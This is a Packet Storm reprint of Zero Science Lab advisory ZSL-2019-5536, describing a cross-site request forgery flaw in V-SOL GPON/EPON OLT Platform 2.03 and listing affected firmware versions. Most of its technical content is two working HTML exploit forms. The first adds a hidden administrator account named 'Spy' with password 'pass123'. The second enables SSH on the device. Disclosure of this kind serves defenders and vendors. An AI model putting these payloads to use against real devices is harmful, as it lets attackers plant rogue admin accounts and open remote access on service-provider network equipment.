what you don't know can hurt you

V-SOL GPON/EPON OLT Platform 2.03 Cross Site Request Forgery

V-SOL GPON/EPON OLT Platform 2.03 Cross Site Request Forgery
Posted Sep 26, 2019
Authored by LiquidWorm | Site zeroscience.mk

V-SOL GPON/EPON OLT Platform version 2.03 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 3984bdb37b70ac28c71fd67b0602e997

V-SOL GPON/EPON OLT Platform 2.03 Cross Site Request Forgery

Change Mirror Download

V-SOL GPON/EPON OLT Platform v2.03 Cross-Site Request Forgery


Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.
Product web page: https://www.vsolcn.com
Affected version: V2.03.62R_IPv6
V2.03.54R
V2.03.52R
V2.03.49
V2.03.47
V2.03.40
V2.03.26
V2.03.24
V1.8.6
V1.4

Summary: GPON is currently the leading FTTH standard in broadband access
technology being widely deployed by service providers around the world.
GPON/EPON OLT products are 1U height 19 inch rack mount products. The
features of the OLT are small, convenient, flexible, easy to deploy, high
performance. It is appropriate to be deployed in compact room environment.
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and
ICT applications.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5536
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5536.php

25.09.2019

--


CSRF add admin:
---------------

<html>
<body>
<form action="http://192.168.8.200/action/user.html" method="POST">
<input type="hidden" name="user_name_add" value="Spy" />
<input type="hidden" name="user_password_add" value="pass123" />
<input type="hidden" name="password_confirm_add" value="pass123" />
<input type="hidden" name="user_role" value="1" />
<input type="hidden" name="user_name_mod" value="" />
<input type="hidden" name="user_password_mod" value="" />
<input type="hidden" name="password_confirm_mod" value="" />
<input type="hidden" name="user_role_mod" value="0" />
<input type="hidden" name="option_um" value="100/" />
<input type="hidden" name="who" value="0" />
<input type="submit" value="Init" />
</form>
</body>
</html>


CSRF enable SSH:
----------------

<html>
<body>
<form action="https://192.168.8.200/action/sshglobal.html" method="POST">
<input type="hidden" name="ssh_enable" value="1" />
<input type="hidden" name="ssh_version" value="2" />
<input type="hidden" name="auth_retries" value="6" />
<input type="hidden" name="ssh_timeout" value="120" />
<input type="hidden" name="ssh_modulus" value="2048" />
<input type="hidden" name="who" value="0" />
<input type="submit" value="Init" />
</form>
</body>
</html>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    0 Files
  • 3
    Apr 3rd
    0 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close